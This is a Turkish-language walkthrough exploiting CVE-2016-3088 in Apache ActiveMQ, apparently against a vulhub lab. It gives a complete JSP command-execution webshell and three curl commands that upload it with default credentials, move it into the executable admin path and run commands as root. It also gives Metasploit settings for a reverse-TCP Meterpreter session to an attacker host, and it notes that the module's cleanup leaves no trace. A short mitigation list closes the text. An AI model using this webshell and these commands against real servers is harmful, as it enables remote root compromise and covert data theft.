Apache ActiveMQ Fileserver RCE: Manuel curl ve Metasploit (CVE-2016-3088)

Apache ActiveMQ 5.14.0 öncesi fileserver bileşenindeki iki unutulmuş kontrolü yan yana koyunca root shell alıyorsun.

Apache ActiveMQ 5.14.0 öncesi fileserver bileşeninde iki tane “unutulmuş” kontrol var ve bunları yan yana koyduğunda root shell alıyorsun.

PUT açık duruyor MOVE’un Destination header’ı da sorgusuz kabul ediliyor.

ActiveMQ admin paneli ana sayfası, Broker bilgisinde Name localhost ve Version 5.11.1 görünüyor

/fileserver/ JSP çalıştırmıyor ama PUT ile dosya kabul ediyor. /admin/ ve /api/ ise tam tersi dosya almıyor ama her JSP’yi execute ediyor. Saldırgan iki yarım yetkiyi birleştirip yasak bölgeye JSP atıyor. Olay bu kadar.

Önce ufak bir webshell. Java tarafında klasik:

<%@ page import="java.util.*,java.io.*"%>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) out.println(line);
%>

URL’den ?cmd= ile gelen değeri shellde çalıştırıyor çıktıyı response basıyor.

İlk hamle PUT ile dosyayı fileserver’a koymak:

curl -i -u admin:admin -X PUT --data-binary @shell.jsp http://hedef:8161/fileserver/shell.jsp

-u admin:admin Basic Auth bilgisi -X PUT HTTP method’unu PUT’a zorluyor –data-binary @shell.jsp dosyanın ham içeriğini istek gövdesine koyuyor.

Dönen 204 No Content “yükledim sana dönecek bir şey yok” demek.

Birinci hata burası işte, modern web sunucularında PUT default kapalı olmalı.

Sıra asıl numarada. MOVE ile dosyayı /admin/ altına taşımak:

curl -i -u admin:admin -X MOVE -H "Destination: file:///opt/activemq/webapps/admin/shell.jsp" http://hedef:8161/fileserver/shell.jsp

-H “Destination: …” MOVE’un istediği header. file:// scheme’i sorgusuz kabul edilince saldırgan hedef içinde istediği path’e yazıyor. authorized_keys yazsan SSH açılıyor, passwd üzerine yazsan kullanıcı oluşuyor. Burada /admin/ altına atıyoruz çünkü orada JSP çalışıyor. İkinci hata da bu path validation hiç yok.

Son adım tetikleme:

curl -u admin:admin "http://hedef:8161/admin/shell.jsp?cmd=id"

?cmd=id parametresi JSP içindeki getParameter(“cmd”) düşüyor cevap olarak uid=0(root) dönüyor.

Kali terminalinde üç curl komutu peş peşe, PUT ve MOVE için 204 No Content, son istekte uid=0(root) çıktısı

Metasploit tarafı çok daha kısa, modül zaten var.

Yeni bir terminalde msfconsole aç:

Kali terminalinde msfconsole banner’ı ve metasploit versiyon bilgisi

Modülü seç ve parametreleri gir:

use exploit/multi/http/apache_activemq_upload_jsp
set RHOSTS 127.0.0.1
set RPORT 8161
set HttpUsername admin
set HttpPassword admin
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 172.17.0.1
set LPORT 4444

msf prompt’unda use ve set komutları, her satırın yanında setlenen değerler

RHOSTS/RPORT hedef adresi, LHOST saldırgan host IP’si.

LHOST’u 127.0.0.1 koyma çünkü hedef kendi loopback’ine bağlanmaya çalışır sana erişemez. Hedeften erişilebilir bir IP gir. Modülü yüklediğin anda Metasploit zaten java/meterpreter/reverse_tcp payload’ını default olarak setliyor.

show options ile bir bak ayarlar yerine oturdu mu:

show options çıktısı, module ve payload seçenekleri ile Java Universal target görünüyor

Sonra exploit çalıştır.

Modül önce /api/ altına rastgele isimli bir .jar ve .jsp yüklüyor, hemen ardından stage hedefe gönderiyor callback geldiğinde uploaded dosyaları otomatik siliyor:

exploit sonrası reverse TCP handler, upload, sending stage ve Meterpreter session opened satırları

Karşımıza Meterpreter prompt’u çıkıyor.

getuid root döner,

sysinfo ile hedef OS bilgisini alırsın,

download /etc/passwd veya upload ile dosya akışı,

shell ile interaktif kabuk ne istersen.

Manuel saldırıdan farkı: AutoCleanup default açık olduğu için yüklediği jsp/jar dosyalarını kendi temizliyor iz bırakmıyor:

meterpreter prompt’unda getuid root ve sysinfo ile java/linux OS bilgisi

Korunma tarafı ise:

5.14.0 ve üstüne çık fileserver default kapalı geliyor

Eski sürümde kalmak zorundaysan conf/jetty.xml içinden fileserver contextini sil

Reverse proxy veya WAF tarafında PUT/MOVE methodlarını blokla

Destination headerında file:// scheme gördüğün anda 403 dön

Admin paneline IP whitelist koy ve admin:admin default credential’ını mutlaka değiştir.

Kaynaklar

https://nvd.nist.gov/vuln/detail/CVE-2016-3088
https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088